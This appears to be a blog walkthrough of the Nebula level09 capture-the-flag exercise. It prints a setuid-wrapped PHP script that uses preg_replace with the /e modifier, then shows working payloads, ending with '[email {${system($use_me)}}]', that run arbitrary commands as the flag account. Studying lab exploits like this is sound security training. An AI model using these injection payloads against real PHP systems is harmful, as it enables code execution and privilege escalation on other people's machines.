Image of Nebula Terminal

There’s a C setuid wrapper for some vulnerable PHP code… To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.

Source code

(level9.php)

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Solution

Contents of the flag09 user account home folder:

level09@nebula:~$ cd /home/flag09/
level09@nebula:/home/flag09$ ls -al
total 13
drwxr-x--- 2 flag09 level09   98 Nov 20  2011 .
drwxr-xr-x 1 root   root      80 Aug 27  2012 ..
-rw-r--r-- 1 flag09 flag09   220 May 18  2011 .bash_logout
-rw-r--r-- 1 flag09 flag09  3353 May 18  2011 .bashrc
-rw-r--r-- 1 flag09 flag09   675 May 18  2011 .profile
-rwsr-x--- 1 flag09 level09 7240 Nov 20  2011 flag09
-rw-r--r-- 1 root   root     491 Nov 20  2011 flag09.php
level09@nebula:/home/flag09$

Now let’s take a peek into those files!

flag09:

level09@nebula:/home/flag09$ file flag09
flag09: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level09@nebula:/home/flag09$ ./flag09
PHP Notice:  Undefined offset: 1 in /home/flag09/flag09.php on line 22
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Warning:  file_get_contents(): Filename cannot be empty in /home/flag09/flag09.php on line 13
level09@nebula:/home/flag09$
flag09.php:
level09@nebula:/home/flag09$ cat flag09.php
<?php

function spam($email)
{
	$email = preg_replace("/\./", " dot ", $email);
	$email = preg_replace("/@/", " AT ", $email);

	return $email;
}

function markup($filename, $use_me)
{
	$contents = file_get_contents($filename);

	$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
	$contents = preg_replace("/\[/", "<", $contents);
	$contents = preg_replace("/\]/", ">", $contents);

	return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>
level09@nebula:/home/flag09$

Hmmmm,

PHP Notice:  Undefined offset: 1 in /home/flag09/flag09.php on line 22
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Warning:  file_get_contents(): Filename cannot be empty in /home/flag09/flag09.php on line 13

We have 2 notices and one warning. According to the “C setuid wrapper for some vulnerable PHP code” and to the file_get_contents() PHP function, we must provide a file to our ELF which is C setuid wrapper to our PHP code.

Ok fine but how do we get to the “getflag” command executed as the level09 user???

Well, on the line "$contents = preg_replace("/(email(.∗)email(.∗))/e", "spam(\"\\2\")", $contents);" you will observe that there is preg_replace with /e modifier which will lead to Arbitrary Code Execution.

Wonder how the hell I know that? Well here is the most resourceful link on the internet for exploitable PHP functions: https://stackoverflow.com/questions/3115559/exploitable-php-functions Enjoy.

Now let’s inject something. On the line "$output = markup($argv[1], $argv[2]);" we can observe that we call the function markup with 2 different arguments.

function markup($filename, $use_me)
{
	$contents = file_get_contents($filename);

	$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
	$contents = preg_replace("/\[/", "<", $contents);
	$contents = preg_replace("/\]/", ">", $contents);

	return $contents;
}

Now by taking a look at the above function called markup, we can observe that the first argument will be out attack vector. Furthermore, $use_me is useless but it must be used!

Let’s begin.

level09@nebula:/home/flag09$ echo "[email test@test.test]" > /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email test@test.test]
level09@nebula:/home/flag09$
First excution!
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
test AT test dot test
⇒ Expected result…​ NOT GOOD!
level09@nebula:/home/flag09$ echo "[email phpinfo()]" > /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email phpinfo()]
level09@nebula:/home/flag09$
Second execution!
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
phpinfo()
level09@nebula:/home/flag09$

⇒ Hmm, we are getting there!

level09@nebula:/home/flag09$ nano /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email {${phpinfo()}}]
level09@nebula:/home/flag09$
Third execution!
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
phpinfo()
PHP Version => 5.3.6-13ubuntu3.2

System => Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686
Build Date => Oct 13 2011 23:17:32
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php5/cli

<sniiiiiiiiiiiiiiiiiiiiiiiiip of large output>

level09@nebula:/home/flag09$

⇒ Gentlemen’s we have achieved an Arbitrary Code Execution of an PHP function.

WOW, WOW, wait a second! We have executed only a PHP function using an C setuid wrapper for some vulnerable PHP code. But instead of executing a PHP function we need to execute a linux system command (getflag) as the user level09. Fun time. Check setuid permission.

level09@nebula:/home/flag09$ ls -al
total 13
drwxr-x--- 2 flag09 level09   98 Nov 20  2011 .
drwxr-xr-x 1 root   root      80 Aug 27  2012 ..
-rw-r--r-- 1 flag09 flag09   220 May 18  2011 .bash_logout
-rw-r--r-- 1 flag09 flag09  3353 May 18  2011 .bashrc
-rw-r--r-- 1 flag09 flag09   675 May 18  2011 .profile
-rwsr-x--- 1 flag09 level09 7240 Nov 20  2011 flag09
-rw-r--r-- 1 root   root     491 Nov 20  2011 flag09.php
level09@nebula:/home/flag09$

Perfect, using setuid on flag09 ELF we can leverage our commands to be executed as level09. But how do we linux system command? Weeeeellll, by using another PHP function (daaaah lol). Fourth execution!

level09@nebula:/home/flag09$ nano /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email {${shell_exec("ls -lart");}}]

level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
PHP Parse error:  syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error:  preg_replace(): Failed evaluating code:
spam("{${shell_exec(\"ls -lart\");}}") in /home/flag09/flag09.php on line 15
level09@nebula:/home/flag09$

⇒ FAIL! We can not escape the “" in order to execute a proper command. ⇒ Small trick for you guys.

level09@nebula:/home/flag09$ nano /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email {${system($use_me)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
sh: sexy_pussycat: command not found
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1

level09@nebula:/home/flag09$

Apparently we do not have a system command called “sexy_pussycat”, sad day…​ But for the grand final:

level09@nebula:/home/flag09$ ./flag09 /tmp/test getflag
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

level09@nebula:/home/flag09$

Well done! At this point you have finished 50% of Nebula from Exploit Exercises. Share, subscribe and ask question!